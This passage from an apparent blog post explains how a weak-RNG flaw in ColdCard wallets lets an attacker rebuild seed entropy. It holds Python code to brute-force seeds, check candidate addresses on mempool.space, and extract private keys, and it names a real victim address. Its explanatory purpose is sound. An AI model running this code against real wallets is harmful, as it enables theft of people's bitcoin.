    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>2. From RNG state to ColdCard entropy<span class="hx:absolute hx:-mt-20" id="2-from-rng-state-to-coldcard-entropy"></span>
    <a href="#2-from-rng-state-to-coldcard-entropy" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">coldcard_entropy</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">,</span> <span class="n">systick</span><span class="p">,</span> <span class="n">rtc_tr</span><span class="p">,</span> <span class="n">rtc_ssr</span><span class="p">,</span> <span class="n">reseed</span><span class="o">=</span><span class="kc">None</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    Simulates what the ColdCard did to generate the 32 entropy bytes.
</span></span></span><span class="line"><span class="cl"><span class="s2">
</span></span></span><span class="line"><span class="cl"><span class="s2">    - MicroPython initializes its Yasmarang with:
</span></span></span><span class="line"><span class="cl"><span class="s2">        pad = UID_low32 ^ SysTick-&gt;VAL
</span></span></span><span class="line"><span class="cl"><span class="s2">        n   = RTC-&gt;TR
</span></span></span><span class="line"><span class="cl"><span class="s2">        d   = RTC-&gt;SSR
</span></span></span><span class="line"><span class="cl"><span class="s2">    - libNgU keeps a second Yasmarang with public constants.
</span></span></span><span class="line"><span class="cl"><span class="s2">    - Each 32-bit word is: chip ^ my_yasmarang().
</span></span></span><span class="line"><span class="cl"><span class="s2">    - On Mk4/Q/Mk5, reseed changes the libNgU &#39;pad&#39; state.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">mpy_state</span> <span class="o">=</span> <span class="p">[</span><span class="n">uid_low32</span> <span class="o">^</span> <span class="n">systick</span><span class="p">,</span> <span class="n">rtc_tr</span><span class="p">,</span> <span class="n">rtc_ssr</span><span class="p">,</span> <span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="n">libngu_state</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0x0A8CE26F</span><span class="p">,</span> <span class="mi">69</span><span class="p">,</span> <span class="mi">233</span><span class="p">,</span> <span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">reseed</span> <span class="ow">is</span> <span class="ow">not</span> <span class="kc">None</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="c1"># reseed() in the firmware only overwrites yasmarang_pad</span>
</span></span><span class="line"><span class="cl">        <span class="n">libngu_state</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="n">reseed</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># The ColdCard may make extra calls before generating the seed (health</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># check, etc.). In practice the attacker models the exact call history.</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># Here we simplify to 8 words = 32 bytes.</span>
</span></span><span class="line"><span class="cl">    <span class="n">words</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">chip</span> <span class="o">=</span> <span class="n">yasmarang_step</span><span class="p">(</span><span class="n">mpy_state</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">mix</span> <span class="o">=</span> <span class="n">chip</span> <span class="o">^</span> <span class="n">yasmarang_step</span><span class="p">(</span><span class="n">libngu_state</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">words</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&#34;&lt;I&#34;</span><span class="p">,</span> <span class="n">mix</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="sa">b</span><span class="s2">&#34;&#34;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">words</span><span class="p">)</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>What it does:</strong> builds the initial state. The MicroPython <code>pad</code> is <code>UID_low32 ^ SysTick</code>; <code>n</code> and <code>d</code> come from the RTC. <code>libNgU</code> enters with public constants. Each word is the XOR of the two. That XOR does not create randomness: if both sides are reproducible, so is the result.</p>
<p><strong>Example:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">&gt;&gt;&gt; coldcard_entropy(0xDEADBEEF, 12345, 0x123456, 78).hex()
</span></span><span class="line"><span class="cl">&#39;3013f52faaef2a65c47fee63c83e9773d505bd05e4b2b43f56bb8c60ecc66f66&#39;</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>3. From entropy to a Bitcoin address<span class="hx:absolute hx:-mt-20" id="3-from-entropy-to-a-bitcoin-address"></span>
    <a href="#3-from-entropy-to-a-bitcoin-address" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">first_addresses</span><span class="p">(</span><span class="n">entropy_bytes</span><span class="p">,</span> <span class="n">account</span><span class="o">=</span><span class="mi">0</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    Given the raw entropy, generate the BIP39 mnemonic, the BIP32 seed,
</span></span></span><span class="line"><span class="cl"><span class="s2">    and the first native SegWit receiving and change addresses.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">mnemonic</span> <span class="o">=</span> <span class="n">mnemonic_from_bytes</span><span class="p">(</span><span class="n">entropy_bytes</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">seed</span> <span class="o">=</span> <span class="n">mnemonic_to_seed</span><span class="p">(</span><span class="n">mnemonic</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">root</span> <span class="o">=</span> <span class="n">HDKey</span><span class="o">.</span><span class="n">from_seed</span><span class="p">(</span><span class="n">seed</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">addrs</span> <span class="o">=</span> <span class="p">{</span><span class="s2">&#34;mnemonic&#34;</span><span class="p">:</span> <span class="n">mnemonic</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">change</span> <span class="ow">in</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">]:</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="n">idx</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">5</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">            <span class="n">path</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;m/84&#39;/0&#39;/</span><span class="si">{</span><span class="n">account</span><span class="si">}</span><span class="s2">&#39;/</span><span class="si">{</span><span class="n">change</span><span class="si">}</span><span class="s2">/</span><span class="si">{</span><span class="n">idx</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">            <span class="n">key</span> <span class="o">=</span> <span class="n">root</span><span class="o">.</span><span class="n">derive</span><span class="p">(</span><span class="n">path</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="n">addr</span> <span class="o">=</span> <span class="n">p2wpkh</span><span class="p">(</span><span class="n">key</span><span class="o">.</span><span class="n">key</span><span class="o">.</span><span class="n">get_public_key</span><span class="p">())</span><span class="o">.</span><span class="n">address</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">            <span class="n">label</span> <span class="o">=</span> <span class="s2">&#34;receive&#34;</span> <span class="k">if</span> <span class="n">change</span> <span class="o">==</span> <span class="mi">0</span> <span class="k">else</span> <span class="s2">&#34;change&#34;</span>
</span></span><span class="line"><span class="cl">            <span class="n">addrs</span><span class="o">.</span><span class="n">setdefault</span><span class="p">(</span><span class="n">label</span><span class="p">,</span> <span class="p">[])</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">addr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">addrs</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>What it does:</strong> takes the 32 bytes, turns them into 24 BIP39 words, computes the seed, opens the BIP32 tree, and derives the addresses. In practice the attacker tests dozens or hundreds of indexes and also other accounts.</p>
<p><strong>Example:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">&gt;&gt;&gt; cand = first_addresses(coldcard_entropy(0xDEADBEEF, 12345, 0x123456, 78))
</span></span><span class="line"><span class="cl">&gt;&gt;&gt; cand[&#34;mnemonic&#34;]
</span></span><span class="line"><span class="cl">&#39;copy panic episode fiction verify cream ball worry glow draft place tray expect teach bleak north reflect wide puzzle boat attract glimpse rural setup&#39;
</span></span><span class="line"><span class="cl">&gt;&gt;&gt; cand[&#34;receive&#34;][0]
</span></span><span class="line"><span class="cl">&#39;bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp&#39;</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>4. Query the public blockchain as an oracle<span class="hx:absolute hx:-mt-20" id="4-query-the-public-blockchain-as-an-oracle"></span>
    <a href="#4-query-the-public-blockchain-as-an-oracle" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">has_utxo</span><span class="p">(</span><span class="n">address</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;True if the address has any UTXO according to mempool.space.&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">url</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;https://mempool.space/api/address/</span><span class="si">{</span><span class="n">address</span><span class="si">}</span><span class="s2">/utxo&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">timeout</span><span class="o">=</span><span class="mi">10</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">r</span><span class="o">.</span><span class="n">raise_for_status</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="nb">len</span><span class="p">(</span><span class="n">r</span><span class="o">.</span><span class="n">json</span><span class="p">())</span> <span class="o">&gt;</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">    <span class="k">except</span> <span class="ne">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;error querying&#34;</span><span class="p">,</span> <span class="n">address</span><span class="p">,</span> <span class="n">e</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="kc">False</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>What it does:</strong> asks the real question. Without this query, the attacker would not know whether they guessed right. The blockchain is the oracle.</p>
<p><strong>Non-hit example:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">&gt;&gt;&gt; has_utxo(&#34;bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp&#34;)
</span></span><span class="line"><span class="cl">False</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>The attacker discards it and moves to the next candidate.</p>
<p><strong>Hit example</strong> (the real victim address <a href="https://mempool.space/address/bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr"target="_blank" rel="noopener"><code>bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr</code></a>, before the sweep):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">[</span>
</span></span><span class="line"><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;txid&#34;</span><span class="p">:</span> <span class="s2">&#34;78ac8968ccf5a586d2fb9509f5af13f41e0a288bfa0f0b177d4e4b6bbebad05d&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;vout&#34;</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;value&#34;</span><span class="p">:</span> <span class="mi">2989251877</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;status&#34;</span><span class="p">:</span> <span class="p">{</span><span class="nt">&#34;confirmed&#34;</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span> <span class="nt">&#34;block_height&#34;</span><span class="p">:</span> <span class="mi">960188</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">]</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>When <code>has_utxo</code> returns <code>True</code>, the attacker knows the seed they just generated produces that address — and therefore the corresponding private key.</p>
<h3>5. Enumerate candidates and hunt<span class="hx:absolute hx:-mt-20" id="5-enumerate-candidates-and-hunt"></span>
    <a href="#5-enumerate-candidates-and-hunt" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">brute_mk3</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    Example for Mk3/Mk2 v4: scan plausible SysTick and RTC values.
</span></span></span><span class="line"><span class="cl"><span class="s2">    In practice the attacker uses GPUs/FPGAs and constrains the UID from
</span></span></span><span class="line"><span class="cl"><span class="s2">    the device serial.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">systick</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">80_000</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="n">rtc_tr</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mh">0x000000</span><span class="p">,</span> <span class="mh">0x240000</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">            <span class="k">for</span> <span class="n">rtc_ssr</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">256</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">                <span class="k">yield</span> <span class="n">coldcard_entropy</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">,</span> <span class="n">systick</span><span class="p">,</span> <span class="n">rtc_tr</span><span class="p">,</span> <span class="n">rtc_ssr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">brute_mk4</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">,</span> <span class="n">systick</span><span class="p">,</span> <span class="n">rtc_tr</span><span class="p">,</span> <span class="n">rtc_ssr</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    Example for Mk4/Q/Mk5: the fallback is fixed and the attacker enumerates
</span></span></span><span class="line"><span class="cl"><span class="s2">    the 2^32 possible secure-element reseed values.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">reseed</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mh">0x100000000</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">yield</span> <span class="n">coldcard_entropy</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">,</span> <span class="n">systick</span><span class="p">,</span> <span class="n">rtc_tr</span><span class="p">,</span> <span class="n">rtc_ssr</span><span class="p">,</span> <span class="n">reseed</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">hunt</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">,</span> <span class="n">generator</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">entropy</span> <span class="ow">in</span> <span class="n">generator</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">candidate</span> <span class="o">=</span> <span class="n">first_addresses</span><span class="p">(</span><span class="n">entropy</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="n">addr</span> <span class="ow">in</span> <span class="n">candidate</span><span class="p">[</span><span class="s2">&#34;receive&#34;</span><span class="p">]</span> <span class="o">+</span> <span class="n">candidate</span><span class="p">[</span><span class="s2">&#34;change&#34;</span><span class="p">]:</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="n">has_utxo</span><span class="p">(</span><span class="n">addr</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">                <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;HIT!&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;  mnemonic:&#34;</span><span class="p">,</span> <span class="n">candidate</span><span class="p">[</span><span class="s2">&#34;mnemonic&#34;</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">                <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;  address :&#34;</span><span class="p">,</span> <span class="n">addr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="k">return</span> <span class="n">candidate</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Didactic example: use a known UID and a reduced Mk3 generator.</span>
</span></span><span class="line"><span class="cl"><span class="c1"># hunt(0xAABBCCDD, brute_mk3(0xAABBCCDD))</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>What they do:</strong> <code>brute_mk3</code> scans plausible states for Mk3; <code>brute_mk4</code> scans the 2^32 secure-element reseeds; <code>hunt</code> is the generate-derive-check loop. The real attacker does not run Python; they write this in C/CUDA/FPGA and parallelize by UID. But the logic is identical.</p>
<h2>After finding the collision<span class="hx:absolute hx:-mt-20" id="after-finding-the-collision"></span>
    <a href="#after-finding-the-collision" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>When <code>hunt</code> returns, the attacker already has the <code>mnemonic</code> and the funded address. From there, they get the private key:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">embit.bip39</span> <span class="kn">import</span> <span class="n">mnemonic_to_seed</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">embit.bip32</span> <span class="kn">import</span> <span class="n">HDKey</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">seed</span> <span class="o">=</span> <span class="n">mnemonic_to_seed</span><span class="p">(</span><span class="n">candidate_mnemonic</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">root</span> <span class="o">=</span> <span class="n">HDKey</span><span class="o">.</span><span class="n">from_seed</span><span class="p">(</span><span class="n">seed</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">addr_key</span> <span class="o">=</span> <span class="n">root</span><span class="o">.</span><span class="n">derive</span><span class="p">(</span><span class="s2">&#34;m/84&#39;/0&#39;/0&#39;/0/0&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Compressed WIF:&#34;</span><span class="p">,</span> <span class="n">addr_key</span><span class="o">.</span><span class="n">key</span><span class="o">.</span><span class="n">wif</span><span class="p">())</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Address       :&#34;</span><span class="p">,</span> <span class="n">addr_key</span><span class="o">.</span><span class="n">address</span><span class="p">())</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Typical output:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

